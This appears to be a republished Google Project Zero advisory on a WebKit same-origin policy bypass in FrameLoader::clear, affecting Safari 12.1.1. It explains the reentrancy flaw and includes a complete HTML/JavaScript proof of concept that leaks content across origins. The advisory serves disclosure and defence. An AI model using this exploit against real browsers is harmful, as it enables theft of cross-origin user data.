WebKit FrameLoader::clear Same-Origin Policy Bypass

WebKit suffers from a same-origin policy bypass vulnerability in FrameLoader::clear.


MD5 | 68c6220522a24fcd9a591457a3c19b6f

WebKit: Same-Origin Policy bypass in FrameLoader::clear

VULNERABILITY DETAILS
```
void FrameLoader::clear(Document* newDocument, bool clearWindowProperties, bool clearScriptObjects, bool clearFrameView)
{
m_frame.editor().clear();

if (!m_needsClear)
return; // ***1***
m_needsClear = false;

if (m_frame.document()->pageCacheState() != Document::InPageCache) {
m_frame.document()->cancelParsing(); // ***2***
[...]
if (clearWindowProperties)
m_frame.windowProxy().setDOMWindow(newDocument->domWindow()); // ***3***
```

This bug is similar to https://bugs.chromium.org/p/project-zero/issues/detail?id=1162. In certain
circumstances, `Document::cancelParsing`[2], which is not guarded by `FrameNavigationDisabler`,
might fire the `readystatechanged` event handler. If the handler performs a synchronous document
load, the reentrant `clear` call for the new document will exit early[1] and won't update the
active global object of the page[3], so the new document will use the old (potentially
cross-origin) global object for JavaScript execution. An attacker can exploit it to partially leak
the content of the new document.


VERSION
WebKit revision 246877
Safari version 12.1.1 (14607.2.6.1.1)


REPRODUCTION CASE
```
<body>
<script>
function createURL(data, type = 'text/html') {
return URL.createObjectURL(new Blob([data], {type: type}));
}

function waitForLoad() {
showModalDialog(createURL(`
<script>
let it = setInterval(() => {
try {
opener.victim_frame.contentDocument.x;
} catch (e) {
clearInterval(it);
window.close();
}
}, 0);
</scrip` + 't>'));
}

window.onclick = () => {
victim_frame = document.body.appendChild(document.createElement('iframe'));

victim_frame.contentDocument.open();
victim_frame.contentDocument.onreadystatechange = () => {
victim_frame.contentDocument.onreadystatechange = null;

victim_frame.contentDocument.open();
audio = victim_frame.contentDocument.appendChild(document.createElement('audio'));
counter = 0;
victim_frame.contentDocument.onreadystatechange = () => {
if (++counter != 2) {
return;
}

victim_frame.contentWindow.func = function(value) {
alert('leaked: ' + value);
}

let a = victim_frame.contentDocument.createElement('a');
a.href = victim_url;
a.click();

waitForLoad();
};
audio.src = location + '?' + 'A'.repeat(10000) + Math.random();
victim_frame.contentDocument.close();
document.implementation.createHTMLDocument().adoptNode(audio);
};

victim_frame.src = 'javascript:\"\"';
}

victim_url = 'data:text/html,<body><script>func(\"secret value\")<\\/script></body>';

ext = document.body.appendChild(document.createElement('iframe'));
ext.src = victim_url;
</script>
</body>
```


CREDIT INFORMATION
Sergei Glazunov of Google Project Zero


This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made
broadly available (whichever is earlier), the bug report will become visible to the public.






Found by: [email protected]


Related Posts